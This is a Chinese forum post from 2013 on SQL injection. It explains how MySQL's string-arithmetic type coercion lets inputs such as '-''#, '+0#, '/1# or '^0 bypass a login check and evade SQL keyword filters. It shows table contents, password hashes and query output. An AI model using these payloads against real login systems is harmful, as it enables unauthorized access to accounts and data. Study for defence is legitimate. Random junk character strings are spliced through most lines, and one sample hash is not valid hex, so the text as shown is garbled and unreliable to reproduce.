找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1935|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。0 X/ Q$ S6 o% y1 V
有以下表结构:
/ L4 {2 `: O* Q5 `  c: U/ t; }+ h6 c" y5 R( y4 m
mysql> desc admin;! m7 M$ d+ t1 Z- F, n
+----------+--------------+------+-----+---------+----------------+
' i9 }( u) G$ Z| Field    | Type         | Null | Key | Default | Extra          |: z) t5 i) y& Z3 `$ P" l, z
+----------+--------------+------+-----+---------+----------------+4 F* e* ]! h5 R
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |1 f! J0 P) _, q- Z
| name     | char(32)     | NO   | UNI | NULL    |                |+ ~9 J: z2 l( _8 h# d  Q1 B; @( T
| password | char(32)     | NO   | UNI | NULL    |                |
1 J0 i- ~  i& i( B+----------+--------------+------+-----+---------+----------------+5 X1 G. H3 S6 n
3 rows in set (0.00 sec)( W5 v$ B% I# O3 U& B
执行select * from admin;,成功返回所有记录内容。
( @* t/ w4 k. ]" z1 J8 j+ h% ^" q5 o& g4 v# E, r3 Y* ^, {
$ u* z* @# J( A, r9 w' y' e( b! Q$ S
+----+--------+----------------------------------+. V7 P& K) \# w' e
| id | name   | password                         |
9 Q. p8 M/ E4 T1 p, |+----+--------+----------------------------------+
* Y7 A; E- t$ [|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
/ z' |" s% F8 x) `: M! p|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
& q5 y9 I5 H, l& i9 g. _# o|  4 | n00b   | ff80e8508d39047460921792273533a4 |" W! h5 T; a# ~. P
+----+--------+----------------------------------+* i. q9 X8 G" @0 d; v' C/ Y9 s% O
3 rows in set (0.00 sec)
2 U5 O$ v3 n  y执行select * from admin where name=”;,没有匹配到任何记录。
, s. J7 _4 W0 t/ |  o# x
$ C. s! T9 M% o- z6 X4 smysql> select * from admin where name = '';2 H/ R, Y. b& J! r( H" I
Empty set (0.00 sec)
1 }7 U/ }  y4 \% X) @) |8 D那么我们来执行select * from admin where name = ”-”;! i* r- ]) A/ B  U

& U0 O  c0 Q$ G0 a
( C) Z. z( L% {6 j  f7 M% W+----+--------+----------------------------------+# z6 ^* B2 h1 f
| id | name   | password                         |
4 G, m" i7 l6 Q3 R# K, a+----+--------+----------------------------------+
1 z0 s) R% Y$ y  {# R% t' w( D|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
4 y$ u1 k% l, p5 f; H% E: F|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
. {: R! i9 g2 L( T- R. p, ^|  4 | n00b   | ff80e8508d39047460921792273533a4 |
$ c5 w5 m* c* T2 f# q5 J# d! `+----+--------+----------------------------------+$ c5 Q& F+ X, i/ ]9 I* G* g2 B
3 rows in set, 3 warnings (0.00 sec): f( U6 ~5 O/ _7 h
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
9 B7 M1 z: }& x# S+ n7 y( b" f6 a& b1 z# ?0 `
mysql> show warnings;
* p9 _0 y2 ~9 c; K: S  U; n3 x+---------+------+------------------------------------------2 w3 y# C' D! t
| Level   | Code | Message) |1 A+ W7 D, k3 N% C8 v- w
+---------+------+------------------------------------------
! Q( |. J+ n9 m| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin) ?0 w% p! h, j( e1 i- A
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
1 C9 L0 U) v3 v' I* q$ U- f| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
4 Z- j; j! k  @/ {/ h+ h5 W: R+---------+------+------------------------------------------
0 V3 ^- N0 u6 |: b  Y3 rows in set (0.00 sec)
/ }# a% r4 N" R4 S% u  n* @0 g. C提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
6 C3 O5 x" y& ^6 q
* K1 `& m5 l  t0 Z: t) ymysql> select ''-'';! {' l! ~2 c5 B' A! n
+-------++ N# S7 _& P! z8 ]/ g
| ''-'' |
* F, V! ]7 E. {% D4 ?7 K+-------+# Y3 d4 c. M' }
|     0 |  H0 ^+ A2 P! C: ^- W# K
+-------+
: z5 ]0 ^+ y3 @/ J8 P1 row in set (0.00 sec)3 ~1 C8 }& V/ r$ q! e
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
& s- o5 f3 D7 p8 _* \, _  R$ ^) A% P+ T* g1 S8 v& E6 E
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);! E1 _7 s4 M! [8 b( V
+-----------------------------------------------------+
* }& b. u7 R) Y, || CAST((select name from admin limit 1,1) as DECIMAL) |! P. M- D6 i/ z9 B+ {6 |; N, l
+-----------------------------------------------------+
- N$ A$ b. ^# y0 B1 Y9 c' @% X( n|                                                   0 |
- `0 N$ t) s+ M2 L& c) k+-----------------------------------------------------+
8 T; u6 ~; ]$ u$ V' U* J0 W1 row in set, 1 warning (0.00 sec)
$ Y+ U# W# ~6 Q; S9 H8 J因此where语句构成了相等的条件,where 0=”=”,记录被返回。 , T6 X8 `. f5 |) S  B% }

) K2 o2 O* A; c  a8 d( ]! g5 m5 R, rSQL注入场景: http://www.sqlzoo.net/hack/ 1 v4 d; @; t: k+ y

! p2 F& G. J8 a3 y% `* S
4 Z6 ^) K0 x' `- M9 ~, z3 v/ R$ G% n% e, K
$ V6 U# N0 Y5 T. V  o
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ' Q* J% g4 b& L$ B4 `) d

" a6 y4 F- c& n* B; s1 e那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
9 }3 U- X' T* g, G8 @5 J/ h7 s3 m  J) G9 E# Q8 X  ?* P2 @' c" b

3 D3 g" K: d( _
  Y8 u/ r% T4 b0 k/ E/ I
" @+ C) v, A4 O6 S8 k9 k仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
( O% V9 v4 g, r5 I/ c* n7 R' k1 t2 D- w* n$ y. Z: H
   
% `7 q1 b' x5 h  u7 _# ~# c" T* N8 K- Y9 q
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
) |" s; {; s7 u8 f* C
! z8 }2 p( k: Y  X2 }& z7 L( s+ X* {8 U( q1 K+ U  L# J
mysql> select ''/1;% T1 K- e+ V8 {8 [
+------+# d% \  h  `" Q
| ''/1 |
  n0 l' O3 y4 ?* [% Z+------+
2 d, Q" R8 `- ]$ p+ l; ||    0 |
: d3 O7 S9 U! q' L; |+------+
6 ]8 |; d9 m& T2 a: {1 row in set (0.00 sec)
& ~7 r# I- y( M6 E+ U% y类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
/ w& Z4 f5 O, u$ w2 E0 W8 A+ ~
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。- K0 t: l' {$ r% V1 ^; c  V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表